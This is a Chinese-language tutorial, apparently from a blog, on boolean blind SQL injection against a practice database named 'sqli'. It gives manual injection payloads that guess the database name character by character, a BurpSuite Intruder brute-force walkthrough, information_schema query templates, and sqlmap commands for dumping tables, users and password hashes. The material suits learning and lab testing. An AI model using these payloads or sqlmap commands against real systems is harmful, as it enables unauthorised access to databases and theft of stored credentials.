盲注主要分为两种,一种为时间类型盲注,一种为布尔类型盲注
判断是否是布尔类型的:当一个界面存在注入,但是没有显示位,没有SQL语句执行错误信息,由于布尔类型的注入只会告知是或者不是,所以只能通过页面返回的对与错来进行一个SQL的注入
目录
布尔盲注手动方式
首先猜测数据库的长度
1 and length(database()) >5
报错了,数据库长度并不大于5,再次进行尝试
长度等于4,知道的数据库的长度,开始猜测数据库的名称,对应ASCII码表,输入id=1 and ascii(substr(database(),1,1))>110,回显正确,得知数据库名第一个字符的ASCII码大于110,输入id=1 and ascii(substr(database(),1,1))>200,回显错误,得知第一个ASCII码大于110小于200(ascii只有0~127位,随便举例子),输入id=1 and ascii(substr(database(),1,1))=115,回显正确,第一个字符为s
1 and ascii(substr(database(),1,1))=115
ASCII码表
最后测试出数据库名为'sqli',非常繁琐吧。。。还记得BurpSuite内的一个爆破功能吗?我们可以利用这个功能来快速的查内容,而不需要手动来试
布尔盲注BurpSuite方式
首先写一个字典
由于ASCII共127位,这里从0开始写到127即可【当然也可以用爆破自带的number】
打开BurpSuite
将interceot is off打开,打开后
点击Search
抓到包,右击send to intruder
host为url,port为端口,然后点击positions
点击clear,清清除所有的Add
然后选中对应ASCII的数,也就是末尾的数字
然后点击Add
点击payloads
加入字典
点击旁边的start,开始爆破
可以看到0和115的ASCII的长度 ,与其他的不同,判断数据库的第一个字母为's',爆破的时候,只需更改substr的值即可,以此类推得到'sqli'【注意,在这里substr默认值是1,1,而limit的默认值是0,1】
【
column_name:列的名称
Information_schema.columns:表示所有的列的信息
Information_schema:表示所有信息,包括库、表、列
Information_schema.tables:表示所有的表的信息
table_schema:数据库的名称
table_name:表的名称
】
在不知道任何条件时,查询
Select 要查询的字段 from 库名.表名
在已知一个条件时
Select 要查询的字段 from 库名.表名 where 已知条件=’已知条件的值’
Group_concat(xxx_xxx)与limit m,n相同【m默认是0】
在已知一个及一个以上的条件时,用and连接或&&
Select 要查询的字段 from 库名.表名 where 已知条件=’已知条件的值’ and 已知条件=’已知条件的值’
sqlmap方式
关于sqlmap的基础命令,将url修改为需要注入的url即可
查询sqlmap是否存在注入命令
sqlmap.py -u url/?id=1
查询当前用户下的所有数据库
sqlmap.py -u url/?id=1 --dbs
获取数据库的表名
sqlmap.py -u url/?id=1 -D (数据库名) --tables
获取表中的字段名
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) --columns
获取字段的内容
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) -C (表内的字段名) --dump
查询数据库的所有用户
sqlmap.py -u url/?id=1 --users
查询数据库的所有密码
sqlmap.py -u url/?id=1 --passwords
查询数据库名称
sqlmap.py -u url/?id=1 --current-db